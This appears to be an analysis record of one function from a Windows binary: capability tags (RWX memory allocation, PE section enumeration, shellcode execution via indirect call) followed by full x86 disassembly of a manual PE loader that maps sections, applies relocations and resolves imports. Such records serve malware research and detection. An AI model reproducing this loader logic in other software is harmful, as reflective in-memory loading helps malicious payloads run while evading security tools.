Function at 0x4025dd
Capabilities:
Allocate or change rwx memory
Enumerate pe sections
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
mov eax, ecx
xor ebx, ebx
push esi
push edi
mov dword [ebp - 8], eax
mov edi, dword [eax + 0x3c]
add edi, eax
cmp dword [edi], 0x4550
je 0x40260a
push ecx
push 0x40157c
call fcn.00402489
jmp 0x40273b
push 0x40
push 0x1000
push dword [edi + 0x50]
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
test esi, esi
jne 0x402644
push ecx
push 0x40158c
call fcn.00402489
push 0xa
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
mov ecx, 0x406050
call fcn.00402421
jmp 0x40273b
push dword [edi + 0x54]
push dword [ebp - 8]
push esi
call dword [0x40601c]
movzx eax, word [edi + 0x14]
lea ecx, [edi + 0x18]
movzx edi, word [edi + 6]
add esp, 0xc
add ecx, eax
test edi, edi
je 0x402696
mov ebx, dword [ebp - 8]
mov eax, dword [ecx + 0x14]
lea edx, [ecx + 0x28]
mov dword [ebp - 0xc], edx
test eax, eax
je 0x40268d
push dword [ecx + 0x10]
add eax, ebx
push eax
mov eax, dword [ecx + 0xc]
add eax, esi
push eax
call dword [0x40601c]
mov edx, dword [ebp - 0xc]
add esp, 0xc
mov ecx, edx
sub edi, 1
jne 0x402668
xor ebx, ebx
mov edi, dword [esi + 0x3c]
add edi, esi
call fcn.00403482
sub eax, dword [0x406040]
cmp eax, 0x7fff
ja 0x402814
mov ecx, dword [edi + 0xa4]
mov dword [ebp - 8], ecx
test ecx, ecx
je 0x402723
mov eax, esi
sub eax, dword [edi + 0x34]
mov dword [ebp - 0x10], eax
mov eax, dword [edi + 0xa0]
add eax, esi
mov ecx, dword [eax]
lea edx, [eax + 4]
mov dword [ebp - 0x14], edx
lea eax, [eax + 8]
mov edx, dword [edx]
mov dword [ebp - 0xc], ecx
mov ecx, dword [ebp - 8]
sub edx, 8
je 0x402719
movzx ecx, word [eax]
mov dword [ebp - 4], ecx
shr dword [ebp - 4], 0xc
cmp dword [ebp - 4], 0
je 0x40270d
cmp dword [ebp - 4], 3
jne 0x402742
mov ebx, dword [ebp - 0x10]
and ecx, 0xfff
add ecx, dword [ebp - 0xc]
add dword [ecx + esi], ebx
xor ebx, ebx
dec edx
add eax, 2
sub edx, 1
jne 0x4026e6
mov ecx, dword [ebp - 8]
mov edx, dword [ebp - 0x14]
sub ecx, dword [edx]
mov dword [ebp - 8], ecx
jne 0x4026ce
cmp dword [edi + 0x84], ebx
je 0x402739
mov edi, dword [edi + 0x80]
add edi, esi
jne 0x4027ee
mov ebx, esi
mov eax, ebx
jmp 0x402816
push ecx
push 0x4015a0
jmp 0x402600
add eax, esi
mov dword [ebp - 0x14], eax
call fcn.00403482
sub eax, dword [0x406040]
cmp eax, 0x7fff
ja 0x402814
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov dword [ebp - 0x10], eax
test eax, eax
je 0x402809
mov eax, dword [edi]
mov edx, dword [edi + 0x10]
add eax, esi
add edx, esi
mov dword [ebp - 0xc], edx
jmp 0x4027e2
mov dword [ebp - 0x14], ebx
mov edx, ebx
test ecx, ecx
js 0x4027b2
lea eax, [esi + 2]
add eax, ecx
push eax
mov dword [ebp - 0x18], eax
call dword [0x406014]
mov word [ebp - 0x1c], ax
lea edx, [ebp - 0x1c]
mov word [ebp - 0x1a], ax
mov eax, ebx
pop ecx
jmp 0x4027b5
movzx eax, word [eax]
lea ecx, [ebp - 8]
movzx eax, ax
push ecx
push eax
push edx
push dword [ebp - 0x10]
mov dword [ebp - 8], ebx
call dword [0x406034]
mov eax, dword [ebp - 8]
test eax, eax
je 0x4027fe
mov ecx, dword [ebp - 0xc]
mov dword [ecx], eax
mov eax, dword [ebp - 4]
add eax, 4
add ecx, 4
mov dword [ebp - 0xc], ecx
mov ecx, dword [eax]
mov dword [ebp - 4], eax
test ecx, ecx
jne 0x40278a
add edi, 0x14
mov eax, dword [edi + 0xc]
test eax, eax
jne 0x40274d
jmp 0x402739
push ecx
push 0x4015c0
jmp 0x402600
push ecx
push 0x4015b0
jmp 0x402600
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret